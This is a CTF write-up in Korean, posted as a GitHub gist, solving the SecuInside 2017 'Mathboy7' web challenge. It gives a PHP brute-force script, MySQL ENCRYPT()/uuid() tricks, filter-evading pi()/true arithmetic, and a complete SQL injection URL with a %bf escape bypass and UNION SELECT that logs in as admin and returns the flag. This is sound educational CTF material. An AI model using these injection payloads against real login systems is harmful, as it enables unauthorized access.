Skip to content

Instantly share code, notes, and snippets.

@stypr
Last active January 26, 2020 20:37
  • Star 0 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
Star You must be signed in to star a gist
Save stypr/b0f72d92d0520a62443b750aa8218f04 to your computer and use it in GitHub Desktop.
SecuInside 2017: Mathboy7 (415pt)

Mathboy7 (415pt)

ENCRYPT() 함수를 통해 Random String을 만들 수 있음

encryption-functions from mysql.com

  1. ENCRYPT(x) 시 확률상 문제를 풀 수 없지만, salt 값을 설정하면 첫번째 몇 글자 정도는 같게 되므로 확률이 굉장히 줄어듬.

  2. ENCRYPT(x,y) 출력시 나오는 값은 A-Za-z0-9./ 로 이루어져있어서 확률상 어렵지만, 문제에서 strtolower($var) 로 인해 확률이 2차적으로 줄어들음.

아래는 그 트릭을 이용한 코드임.

require "query.php";
$a = new Query();
$a->connect('localhost', 'test', 'test', 'test');


for($i=0; $i<999999; $i++){
    // ENCRYPT($i, 'ad')
	$d = $a->query('SELECT ENCRYPT('.$i.', "ad") AS cry',1)['cry'];
	$d =  substr($d,0,5);
	if(strtolower($d) === "admin"){
			echo $i . '<<<';
			exit;
	}
}

위 코드 실행시,

root@stypr:~/pwn# php index.php
26752<<< 

여기서 26752는 26752 = 2^14 + 2^13 + 2^11 + 2^7

문제는 salt가 'ad' 인데, 이건 어떻게?

uuid() 함수를 사용하면됨. 매번 함수 호출시 0-9a-d 값이 나오니까 ad라는 값을 mid()함수로 2글자만 추출해낸다고 가정했을때 많이 안돌려도 나온다는 소리임.

그럼 이걸 가지고 어떻게..?

1. 2^14 + 2^13 + 2^11 + 2^7
2. x=pow(true+true,round(pi()*pi()+true+pi()))+ // 2^14
   pow(true+true,round(pi()*pi()+pi()))+ // 2^13
   pow(true+true,round(pi()*pi()+true))+ // 2^11
   pow(true+true,round(pi()*pi()-pi())) // 2^7
3. mid(encrypt(x, 'ad'),1,5)
4. mid(encrypt(x, mid(uuid(),pi(),pi()),true,pi()+pi()-true); // encrypt(x,mid(uuid(),3,3)),1,5

위 공식을 이용한 쿼리는 아래와 같음. 출력은 admIn임.

select mid(encrypt(pow(true+true,round(pi()*pi()+true+pi()))+pow(true+true,round(pi()*pi()+pi()))+pow(true+true,round(pi()*pi()+true))+pow(true+true,round(pi()*pi()-pi())),mid(uuid(),pi(),pi())),true,pi()+pi()-true);



....
MySQL [(none)]> select mid(encrypt(pow(true+true,round(pi()*pi()+true+pi()))+pow(true+true,round(pi()*pi()+pi()))+pow(true+true,round(pi()*pi()+true))+pow(true+true,round(pi()*pi()-pi())),mid(uuid(),pi(),pi())),true,pi()+pi()-true);
+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| mid(encrypt(pow(true+true,round(pi()*pi()+true+pi()))+pow(true+true,round(pi()*pi()+pi()))+pow(true+true,round(pi()*pi()+true))+pow(true+true,round(pi()*pi()-pi())),mid(uuid(),pi(),pi())),true,pi()+pi()-true) |
+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| admIn                                                                                                                                                                                                            |
+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
....

###최종 결과

urlencode 한번 해주고 아래 페이지 몇번 들어가면 답이 나옴. http://52.78.77.229/?id=%bf\&pw=||id+union+select+mid(encrypt(pow(true%2btrue,round(pi()*pi()%2btrue%2bpi()))%2bpow(true%2btrue,round(pi()*pi()%2bpi()))%2bpow(true%2btrue,round(pi()*pi()%2btrue))%2bpow(true%2btrue,round(pi()*pi()-pi())),mid(uuid(),pi(),pi())),true,pi()%2bpi()-true),null,null--+-

아래는 귀찮아서 코드로 얻어낸 답임.

login as admin kkk<br/>your id : 3fgJU
root@stypr:~/pwn# python k.py
login as admin kkk<br/>SECU[mathboy7_is_very_handsome]
root@stypr:~/pwn# python k.py
login as admin kkk<br/>your id : 18pMI

FLAG: SECU[mathboy7_is_very_handsome]

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment